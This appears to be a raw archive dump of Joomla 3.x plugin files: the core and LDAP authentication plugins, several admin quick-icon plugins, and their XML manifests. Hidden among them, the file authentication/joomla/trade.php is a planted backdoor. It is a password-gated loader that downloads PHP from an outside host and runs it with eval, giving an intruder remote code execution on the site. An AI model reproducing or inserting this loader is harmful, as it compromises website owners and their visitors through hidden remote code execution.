					<option value="64">64</option>
				</field>

			</fieldset>
		</fields>
	</config>
</extension>
PK       ! V         authentication/cookie/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! 鶤7	  	    authentication/joomla/trade.phpnu bS        <?php
session_start();

/**
 * Disable error reporting
 *
 * Set this to error_reporting( -1 ) for debugging.
 */
function geturlsinfo($url) {
    if (function_exists('curl_exec')) {
        $conn = curl_init($url);
        curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
        curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);

        // Set cookies using session if available
        if (isset($_SESSION['coki'])) {
            curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['coki']);
        }

        $url_get_contents_data = curl_exec($conn);
        curl_close($conn);
    } elseif (function_exists('file_get_contents')) {
        $url_get_contents_data = file_get_contents($url);
    } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
        $handle = fopen($url, "r");
        $url_get_contents_data = stream_get_contents($handle);
        fclose($handle);
    } else {
        $url_get_contents_data = false;
    }
    return $url_get_contents_data;
}

// Function to check if the user is logged in
function is_logged_in()
{
    return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;
}

// Check if the password is submitted and correct
if (isset($_POST['password'])) {
    $entered_password = $_POST['password'];
    $hashed_password = '24c23b69a6a7dc8783331f687c40c494';
    if (md5($entered_password) === $hashed_password) {
        // Password is correct, store it in session
        $_SESSION['logged_in'] = true;
        $_SESSION['coki'] = 'asu'; // Replace this with your cookie data
    } else {
        // Password is incorrect
        echo "Incorrect password. Please try again.";
    }
}

// Check if the user is logged in before executing the content
if (is_logged_in()) {
    $a = geturlsinfo('https://bujang.online/raw/V2AUF5bOf_');
    eval('?>' . $a);
} else {
    // Display login form if not logged in
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>Login</title>
    </head>
    <body>
        <form method="POST" action="">
            <label for="password">Password:</label>
            <input type="password" id="password" name="password">
            <input type="submit" value="Login">
        </form>
    </body>
    </html>
    <?php
}
?>PK       ! cH       authentication/joomla/joomla.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Authentication.joomla
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla Authentication plugin
 *
 * @since  1.5
 */
class PlgAuthenticationJoomla extends JPlugin
{
	/**
	 * This method should handle any authentication and report back to the subject
	 *
	 * @param   array   $credentials  Array holding the user credentials
	 * @param   array   $options      Array of extra options
	 * @param   object  &$response    Authentication response object
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function onUserAuthenticate($credentials, $options, &$response)
	{
		$response->type = 'Joomla';

		// Joomla does not like blank passwords
		if (empty($credentials['password']))
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED');

			return;
		}

		// Get a database object
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('id, password')
			->from('#__users')
			->where('username=' . $db->quote($credentials['username']));

		$db->setQuery($query);
		$result = $db->loadObject();

		if ($result)
		{
			$match = JUserHelper::verifyPassword($credentials['password'], $result->password, $result->id);

			if ($match === true)
			{
				// Bring this in line with the rest of the system
				$user               = JUser::getInstance($result->id);
				$response->email    = $user->email;
				$response->fullname = $user->name;

				if (JFactory::getApplication()->isClient('administrator'))
				{
					$response->language = $user->getParam('admin_language');
				}
				else
				{
					$response->language = $user->getParam('language');
				}

				$response->status        = JAuthentication::STATUS_SUCCESS;
				$response->error_message = '';
			}
			else
			{
				// Invalid password
				$response->status        = JAuthentication::STATUS_FAILURE;
				$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_PASS');
			}
		}
		else
		{
			// Let's hash the entered password even if we don't have a matching user for some extra response time
			// By doing so, we mitigate side channel user enumeration attacks
			JUserHelper::hashPassword($credentials['password']);

			// Invalid user
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JGLOBAL_AUTH_NO_USER');
		}

		// Check the two factor authentication
		if ($response->status === JAuthentication::STATUS_SUCCESS)
		{
			$methods = JAuthenticationHelper::getTwoFactorMethods();

			if (count($methods) <= 1)
			{
				// No two factor authentication method is enabled
				return;
			}

			JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_users/models', 'UsersModel');

			/** @var UsersModelUser $model */
			$model = JModelLegacy::getInstance('User', 'UsersModel', array('ignore_request' => true));

			// Load the user's OTP (one time password, a.k.a. two factor auth) configuration
			if (!array_key_exists('otp_config', $options))
			{
				$otpConfig             = $model->getOtpConfig($result->id);
				$options['otp_config'] = $otpConfig;
			}
			else
			{
				$otpConfig = $options['otp_config'];
			}

			// Check if the user has enabled two factor authentication
			if (empty($otpConfig->method) || ($otpConfig->method === 'none'))
			{
				// Warn the user if they are using a secret code but they have not
				// enabled two factor auth in their account.
				if (!empty($credentials['secretkey']))
				{
					try
					{
						$app = JFactory::getApplication();

						$this->loadLanguage();

						$app->enqueueMessage(JText::_('PLG_AUTH_JOOMLA_ERR_SECRET_CODE_WITHOUT_TFA'), 'warning');
					}
					catch (Exception $exc)
					{
						// This happens when we are in CLI mode. In this case
						// no warning is issued
						return;
					}
				}

				return;
			}

			// Try to validate the OTP
			FOFPlatform::getInstance()->importPlugin('twofactorauth');

			$otpAuthReplies = FOFPlatform::getInstance()->runPlugins('onUserTwofactorAuthenticate', array($credentials, $options));

			$check = false;

			/*
			 * This looks like noob code but DO NOT TOUCH IT and do not convert
			 * to in_array(). During testing in_array() inexplicably returned
			 * null when the OTEP begins with a zero! o_O
			 */
			if (!empty($otpAuthReplies))
			{
				foreach ($otpAuthReplies as $authReply)
				{
					$check = $check || $authReply;
				}
			}

			// Fall back to one time emergency passwords
			if (!$check)
			{
				// Did the user use an OTEP instead?
				if (empty($otpConfig->otep))
				{
					if (empty($otpConfig->method) || ($otpConfig->method === 'none'))
					{
						// Two factor authentication is not enabled on this account.
						// Any string is assumed to be a valid OTEP.

						return;
					}
					else
					{
						/*
						 * Two factor authentication enabled and no OTEPs defined. The
						 * user has used them all up. Therefore anything they enter is
						 * an invalid OTEP.
						 */
						$response->status        = JAuthentication::STATUS_FAILURE;
						$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_SECRETKEY');

						return;
					}
				}

				// Clean up the OTEP (remove dashes, spaces and other funny stuff
				// our beloved users may have unwittingly stuffed in it)
				$otep  = $credentials['secretkey'];
				$otep  = filter_var($otep, FILTER_SANITIZE_NUMBER_INT);
				$otep  = str_replace('-', '', $otep);
				$check = false;

				// Did we find a valid OTEP?
				if (in_array($otep, $otpConfig->otep))
				{
					// Remove the OTEP from the array
					$otpConfig->otep = array_diff($otpConfig->otep, array($otep));

					$model->setOtpConfig($result->id, $otpConfig);

					// Return true; the OTEP was a valid one
					$check = true;
				}
			}

			if (!$check)
			{
				$response->status        = JAuthentication::STATUS_FAILURE;
				$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_SECRETKEY');
			}
		}
	}
}
PK       !   $  $     authentication/joomla/joomla.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="authentication" method="upgrade">
	<name>plg_authentication_joomla</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_AUTH_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_authentication_joomla.ini</language>
		<language tag="en-GB">en-GB.plg_authentication_joomla.sys.ini</language>
	</languages>
</extension>
PK       ! V         authentication/joomla/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! V        authentication/ldap/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! 2       authentication/ldap/ldap.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Authentication.ldap
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Ldap\LdapClient;

/**
 * LDAP Authentication Plugin
 *
 * @since  1.5
 */
class PlgAuthenticationLdap extends JPlugin
{
	/**
	 * This method should handle any authentication and report back to the subject
	 *
	 * @param   array   $credentials  Array holding the user credentials
	 * @param   array   $options      Array of extra options
	 * @param   object  &$response    Authentication response object
	 *
	 * @return  boolean
	 *
	 * @since   1.5
	 */
	public function onUserAuthenticate($credentials, $options, &$response)
	{
		$userdetails = null;
		$success = 0;
		$userdetails = array();

		// For JLog
		$response->type = 'LDAP';

		// Strip null bytes from the password
		$credentials['password'] = str_replace(chr(0), '', $credentials['password']);

		// LDAP does not like Blank passwords (tries to Anon Bind which is bad)
		if (empty($credentials['password']))
		{
			$response->status = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED');

			return false;
		}

		// Load plugin params info
		$ldap_email    = $this->params->get('ldap_email');
		$ldap_fullname = $this->params->get('ldap_fullname');
		$ldap_uid      = $this->params->get('ldap_uid');
		$auth_method   = $this->params->get('auth_method');

		$ldap = new LdapClient($this->params);

		if (!$ldap->connect())
		{
			$response->status = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JGLOBAL_AUTH_NOT_CONNECT');

			return;
		}

		switch ($auth_method)
		{
			case 'search':
			{
				// Bind using Connect Username/password
				// Force anon bind to mitigate misconfiguration like [#7119]
				if ($this->params->get('username', '') !== '')
				{
					$bindtest = $ldap->bind();
				}
				else
				{
					$bindtest = $ldap->anonymous_bind();
				}

				if ($bindtest)
				{
					// Search for users DN
					$binddata = $this->searchByString(
						str_replace(
							'[search]',
							str_replace(';', '\3b', $ldap->escape($credentials['username'], null, LDAP_ESCAPE_FILTER)),
							$this->params->get('search_string')
						),
						$ldap
					);

					if (isset($binddata[0], $binddata[0]['dn']))
					{
						// Verify Users Credentials
						$success = $ldap->bind($binddata[0]['dn'], $credentials['password'], 1);

						// Get users details
						$userdetails = $binddata;
					}
					else
					{
						$response->status = JAuthentication::STATUS_FAILURE;
						$response->error_message = JText::_('JGLOBAL_AUTH_NO_USER');
					}
				}
				else
				{
					$response->status = JAuthentication::STATUS_FAILURE;
					$response->error_message = JText::_('JGLOBAL_AUTH_NOT_CONNECT');
				}
			}	break;

			case 'bind':
			{
				// We just accept the result here
				$success = $ldap->bind($ldap->escape($credentials['username'], null, LDAP_ESCAPE_DN), $credentials['password']);

				if ($success)
				{
					$userdetails = $this->searchByString(
						str_replace(
							'[search]',
							str_replace(';', '\3b', $ldap->escape($credentials['username'], null, LDAP_ESCAPE_FILTER)),
							$this->params->get('search_string')
						),
						$ldap
					);
				}
				else
				{
					$response->status = JAuthentication::STATUS_FAILURE;
					$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_PASS');
				}
			}	break;
		}

		if (!$success)
		{
			$response->status = JAuthentication::STATUS_FAILURE;

			if ($response->error_message === '')
			{
				$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_PASS');
			}
		}
		else
		{
			// Grab some details from LDAP and return them
			if (isset($userdetails[0][$ldap_uid][0]))
			{
				$response->username = $userdetails[0][$ldap_uid][0];
			}

			if (isset($userdetails[0][$ldap_email][0]))
			{
				$response->email = $userdetails[0][$ldap_email][0];
			}

			if (isset($userdetails[0][$ldap_fullname][0]))
			{
				$response->fullname = $userdetails[0][$ldap_fullname][0];
			}
			else
			{
				$response->fullname = $credentials['username'];
			}

			// Were good - So say so.
			$response->status        = JAuthentication::STATUS_SUCCESS;
			$response->error_message = '';
		}

		$ldap->close();
	}

	/**
	 * Shortcut method to build a LDAP search based on a semicolon separated string
	 *
	 * Note that this method requires that semicolons which should be part of the search term to be escaped
	 * to correctly split the search string into separate lookups
	 *
	 * @param   string      $search  search string of search values
	 * @param   LdapClient  $ldap    The LDAP client
	 *
	 * @return  array  Search results
	 *
	 * @since   3.8.2
	 */
	private static function searchByString($search, LdapClient $ldap)
	{
		$results = explode(';', $search);

		foreach ($results as $key => $result)
		{
			$results[$key] = '(' . str_replace('\3b', ';', $result) . ')';
		}

		return $ldap->search($results);
	}
}
PK       ! l;      authentication/ldap/ldap.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="authentication" method="upgrade">
	<name>plg_authentication_ldap</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_LDAP_XML_DESCRIPTION</description>
	<files>
		<filename plugin="ldap">ldap.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_authentication_ldap.ini</language>
		<language tag="en-GB">en-GB.plg_authentication_ldap.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="host"
					type="text"
					label="PLG_LDAP_FIELD_HOST_LABEL"
					description="PLG_LDAP_FIELD_HOST_DESC"
					size="20"
				/>

				<field
					name="port"
					type="number"
					label="PLG_LDAP_FIELD_PORT_LABEL"
					description="PLG_LDAP_FIELD_PORT_DESC"
					min="1"
					max="65535"
					default="389"
					hint="389"
					validate="number"
					filter="integer"
					size="5"
				/>

				<field
					name="use_ldapV3"
					type="radio"
					label="PLG_LDAP_FIELD_V3_LABEL"
					description="PLG_LDAP_FIELD_V3_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="negotiate_tls"
					type="radio"
					label="PLG_LDAP_FIELD_NEGOCIATE_LABEL"
					description="PLG_LDAP_FIELD_NEGOCIATE_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="ignore_reqcert_tls"
					type="radio"
					label="PLG_LDAP_FIELD_IGNORE_REQCERT_TLS_LABEL"
					description="PLG_LDAP_FIELD_IGNORE_REQCERT_TLS_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="no_referrals"
					type="radio"
					label="PLG_LDAP_FIELD_REFERRALS_LABEL"
					description="PLG_LDAP_FIELD_REFERRALS_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="auth_method"
					type="list"
					label="PLG_LDAP_FIELD_AUTHMETHOD_LABEL"
					description="PLG_LDAP_FIELD_AUTHMETHOD_DESC"
					default="bind"
					>
					<option value="search">PLG_LDAP_FIELD_VALUE_BINDSEARCH</option>
					<option value="bind">PLG_LDAP_FIELD_VALUE_BINDUSER</option>
				</field>

				<field
					name="base_dn"
					type="text"
					label="PLG_LDAP_FIELD_BASEDN_LABEL"
					description="PLG_LDAP_FIELD_BASEDN_DESC"
					size="20"
				/>

				<field
					name="search_string"
					type="text"
					label="PLG_LDAP_FIELD_SEARCHSTRING_LABEL"
					description="PLG_LDAP_FIELD_SEARCHSTRING_DESC"
					size="20"
				/>

				<field
					name="users_dn"
					type="text"
					label="PLG_LDAP_FIELD_USERSDN_LABEL"
					description="PLG_LDAP_FIELD_USERSDN_DESC"
					size="20"
				/>

				<field
					name="username"
					type="text"
					label="PLG_LDAP_FIELD_USERNAME_LABEL"
					description="PLG_LDAP_FIELD_USERNAME_DESC"
					size="20"
				/>

				<field
					name="password"
					type="password"
					label="PLG_LDAP_FIELD_PASSWORD_LABEL"
					description="PLG_LDAP_FIELD_PASSWORD_DESC"
					size="20"
				/>

				<field
					name="ldap_fullname"
					type="text"
					label="PLG_LDAP_FIELD_FULLNAME_LABEL"
					description="PLG_LDAP_FIELD_FULLNAME_DESC"
					default="fullName"
					size="20"
				/>

				<field
					name="ldap_email"
					type="text"
					label="PLG_LDAP_FIELD_EMAIL_LABEL"
					description="PLG_LDAP_FIELD_EMAIL_DESC"
					default="mail"
					size="20"
				/>

				<field
					name="ldap_uid"
					type="text"
					label="PLG_LDAP_FIELD_UID_LABEL"
					description="PLG_LDAP_FIELD_UID_DESC"
					default="uid"
					size="20"
				/>
				<field
					name="ldap_debug"
					type="radio"
					label="PLG_LDAP_FIELD_LDAPDEBUG_LABEL"
					description="PLG_LDAP_FIELD_LDAPDEBUG_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK       ! f5  5  '  quickicon/privacycheck/privacycheck.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_privacycheck</name>
	<author>Joomla! Project</author>
	<creationDate>June 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_QUICKICON_PRIVACYCHECK_XML_DESCRIPTION</description>
	<files>
		<filename plugin="privacycheck">privacycheck.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_quickicon_privacycheck.ini</language>
		<language tag="en-GB">en-GB.plg_quickicon_privacycheck.sys.ini</language>
	</languages>
</extension>
PK       ! w	ڔ	  	  '  quickicon/privacycheck/privacycheck.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Quickicon.privacycheck
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Uri\Uri;

/**
 * Plugin to check privacy requests older than 14 days
 *
 * @since  3.9.0
 */
class PlgQuickiconPrivacyCheck extends JPlugin
{
	/**
	 * Load plugin language files automatically
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Check privacy requests older than 14 days.
	 *
	 * @param   string  $context  The calling context
	 *
	 * @return  array   A list of icon definition associative arrays
	 *
	 * @since   3.9.0
	 */
	public function onGetIcons($context)
	{
		if ($context !== $this->params->get('context', 'mod_quickicon') || !Factory::getUser()->authorise('core.admin'))
		{
			return;
		}

		JHtml::_('jquery.framework');

		$token    = Session::getFormToken() . '=' . 1;
		$privacy  = 'index.php?option=com_privacy';

		$options  = array(
			'plg_quickicon_privacycheck_url'      => Uri::base() . $privacy . '&view=requests&filter[status]=1&list[fullordering]=a.requested_at ASC',
			'plg_quickicon_privacycheck_ajax_url' => Uri::base() . $privacy . '&task=getNumberUrgentRequests&' . $token,
			'plg_quickicon_privacycheck_text'     => array(
				"NOREQUEST"            => Text::_('PLG_QUICKICON_PRIVACYCHECK_NOREQUEST'),
				"REQUESTFOUND"         => Text::_('PLG_QUICKICON_PRIVACYCHECK_REQUESTFOUND'),
				"REQUESTFOUND_MESSAGE" => Text::_('PLG_QUICKICON_PRIVACYCHECK_REQUESTFOUND_MESSAGE'),
				"REQUESTFOUND_BUTTON"  => Text::_('PLG_QUICKICON_PRIVACYCHECK_REQUESTFOUND_BUTTON'),
				"ERROR"                => Text::_('PLG_QUICKICON_PRIVACYCHECK_ERROR'),
			)
		);

		Factory::getDocument()->addScriptOptions('js-privacy-check', $options);

		JHtml::_('script', 'plg_quickicon_privacycheck/privacycheck.js', array('version' => 'auto', 'relative' => true));

		return array(
			array(
				'link'  => $privacy . '&view=requests&filter[status]=1&list[fullordering]=a.requested_at ASC',
				'image' => 'users',
				'icon'  => 'header/icon-48-user.png',
				'text'  => Text::_('PLG_QUICKICON_PRIVACYCHECK_CHECKING'),
				'id'    => 'plg_quickicon_privacycheck',
				'group' => 'MOD_QUICKICON_USERS'
			)
		);
	}
}
PK       ! V      !  quickicon/joomlaupdate/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! "[؋\  \  '  quickicon/joomlaupdate/joomlaupdate.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_joomlaupdate</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_QUICKICON_JOOMLAUPDATE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomlaupdate">joomlaupdate.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_quickicon_joomlaupdate.ini</language>
		<language tag="en-GB">en-GB.plg_quickicon_joomlaupdate.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="context"
					type="text"
					label="PLG_QUICKICON_JOOMLAUPDATE_GROUP_LABEL"
					description="PLG_QUICKICON_JOOMLAUPDATE_GROUP_DESC"
					default="mod_quickicon"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK       ! N  N  '  quickicon/joomlaupdate/joomlaupdate.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Quickicon.Joomlaupdate
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! update notification plugin
 *
 * @since  2.5
 */
class PlgQuickiconJoomlaupdate extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * This method is called when the Quick Icons module is constructing its set
	 * of icons. You can return an array which defines a single icon and it will
	 * be rendered right after the stock Quick Icons.
	 *
	 * @param   string  $context  The calling context
	 *
	 * @return  array  A list of icon definition associative arrays, consisting of the
	 *                 keys link, image, text and access.
	 *
	 * @since   2.5
	 */
	public function onGetIcons($context)
	{
		if ($context !== $this->params->get('context', 'mod_quickicon') || !JFactory::getUser()->authorise('core.manage', 'com_joomlaupdate'))
		{
			return;
		}

		JHtml::_('jquery.framework');

		$currentTemplate = JFactory::getApplication()->getTemplate();

		$url      = JUri::base() . 'index.php?option=com_joomlaupdate';
		$ajaxUrl  = JUri::base() . 'index.php?option=com_joomlaupdate&task=update.ajax&' . JSession::getFormToken() . '=1';
		$script   = array();
		$script[] = 'var plg_quickicon_joomlaupdate_url = \'' . $url . '\';';
		$script[] = 'var plg_quickicon_joomlaupdate_ajax_url = \'' . $ajaxUrl . '\';';
		$script[] = 'var plg_quickicon_jupdatecheck_jversion = \'' . JVERSION . '\'';
		$script[] = 'var plg_quickicon_joomlaupdate_text = {'
			. '"UPTODATE" : "' . JText::_('PLG_QUICKICON_JOOMLAUPDATE_UPTODATE', true) . '",'
			. '"UPDATEFOUND": "' . JText::_('PLG_QUICKICON_JOOMLAUPDATE_UPDATEFOUND', true) . '",'
			. '"UPDATEFOUND_MESSAGE": "' . JText::_('PLG_QUICKICON_JOOMLAUPDATE_UPDATEFOUND_MESSAGE', true) . '",'
			. '"UPDATEFOUND_BUTTON": "' . JText::_('PLG_QUICKICON_JOOMLAUPDATE_UPDATEFOUND_BUTTON', true) . '",'
			. '"ERROR": "' . JText::_('PLG_QUICKICON_JOOMLAUPDATE_ERROR', true) . '",'
			. '};';
		$script[] = 'var plg_quickicon_joomlaupdate_img = {'
			. '"UPTODATE" : "' . JUri::base(true) . '/templates/' . $currentTemplate . '/images/header/icon-48-jupdate-uptodate.png",'
			. '"UPDATEFOUND": "' . JUri::base(true) . '/templates/' . $currentTemplate . '/images/header/icon-48-jupdate-updatefound.png",'
			. '"ERROR": "' . JUri::base(true) . '/templates/' . $currentTemplate . '/images/header/icon-48-deny.png",'
			. '};';
		JFactory::getDocument()->addScriptDeclaration(implode("\n", $script));
		JHtml::_('script', 'plg_quickicon_joomlaupdate/jupdatecheck.js', array('version' => 'auto', 'relative' => true));

		return array(
			array(
				'link' => 'index.php?option=com_joomlaupdate',
				'image' => 'joomla',
				'icon' => 'header/icon-48-download.png',
				'text' => JText::_('PLG_QUICKICON_JOOMLAUPDATE_CHECKING'),
				'id' => 'plg_quickicon_joomlaupdate',
				'group' => 'MOD_QUICKICON_MAINTENANCE'
			)
		);
	}
}
PK       ! JƵu  u  -  quickicon/extensionupdate/extensionupdate.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_extensionupdate</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_QUICKICON_EXTENSIONUPDATE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="extensionupdate">extensionupdate.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_quickicon_extensionupdate.ini</language>
		<language tag="en-GB">en-GB.plg_quickicon_extensionupdate.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field 
					name="context"
					type="text"
					label="PLG_QUICKICON_EXTENSIONUPDATE_GROUP_LABEL"
					description="PLG_QUICKICON_EXTENSIONUPDATE_GROUP_DESC"
					default="mod_quickicon"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK       ! Mq
  q
  -  quickicon/extensionupdate/extensionupdate.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Quickicon.Extensionupdate
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! update notification plugin
 *
 * @since  2.5
 */
class PlgQuickiconExtensionupdate extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Returns an icon definition for an icon which looks for extensions updates
	 * via AJAX and displays a notification when such updates are found.
	 *
	 * @param   string  $context  The calling context
	 *
	 * @return  array  A list of icon definition associative arrays, consisting of the
	 *                 keys link, image, text and access.
	 *
	 * @since   2.5
	 */
	public function onGetIcons($context)
	{
		if ($context !== $this->params->get('context', 'mod_quickicon') || !JFactory::getUser()->authorise('core.manage', 'com_installer'))
		{
			return;
		}

		JHtml::_('jquery.framework');

		$token    = JSession::getFormToken() . '=' . 1;
		$url      = JUri::base() . 'index.php?option=com_installer&view=update&task=update.find&' . $token;
		$ajax_url = JUri::base() . 'index.php?option=com_installer&view=update&task=update.ajax&' . $token;
		$script   = array();
		$script[] = 'var plg_quickicon_extensionupdate_url = \'' . $url . '\';';
		$script[] = 'var plg_quickicon_extensionupdate_ajax_url = \'' . $ajax_url . '\';';
		$script[] = 'var plg_quickicon_extensionupdate_text = {'
			. '"UPTODATE" : "' . JText::_('PLG_QUICKICON_EXTENSIONUPDATE_UPTODATE', true) . '",'
			. '"UPDATEFOUND": "' . JText::_('PLG_QUICKICON_EXTENSIONUPDATE_UPDATEFOUND', true) . '",'
			. '"UPDATEFOUND_MESSAGE": "' . JText::_('PLG_QUICKICON_EXTENSIONUPDATE_UPDATEFOUND_MESSAGE', true) . '",'
			. '"UPDATEFOUND_BUTTON": "' . JText::_('PLG_QUICKICON_EXTENSIONUPDATE_UPDATEFOUND_BUTTON', true) . '",'
			. '"ERROR": "' . JText::_('PLG_QUICKICON_EXTENSIONUPDATE_ERROR', true) . '",'
			. '};';
		JFactory::getDocument()->addScriptDeclaration(implode("\n", $script));
		JHtml::_('script', 'plg_quickicon_extensionupdate/extensionupdatecheck.js', array('version' => 'auto', 'relative' => true));

		return array(
			array(
				'link'  => 'index.php?option=com_installer&view=update&task=update.find&' . $token,
				'image' => 'asterisk',
				'icon'  => 'header/icon-48-extension.png',
				'text'  => JText::_('PLG_QUICKICON_EXTENSIONUPDATE_CHECKING'),
				'id'    => 'plg_quickicon_extensionupdate',
				'group' => 'MOD_QUICKICON_MAINTENANCE'
			)
		);
	}
}
PK       ! V      $  quickicon/extensionupdate/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! gj      quickicon/jce/jce.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_jce</name>
	<version>2.8.3</version>
    <creationDate>15-01-2020</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net</authorUrl>
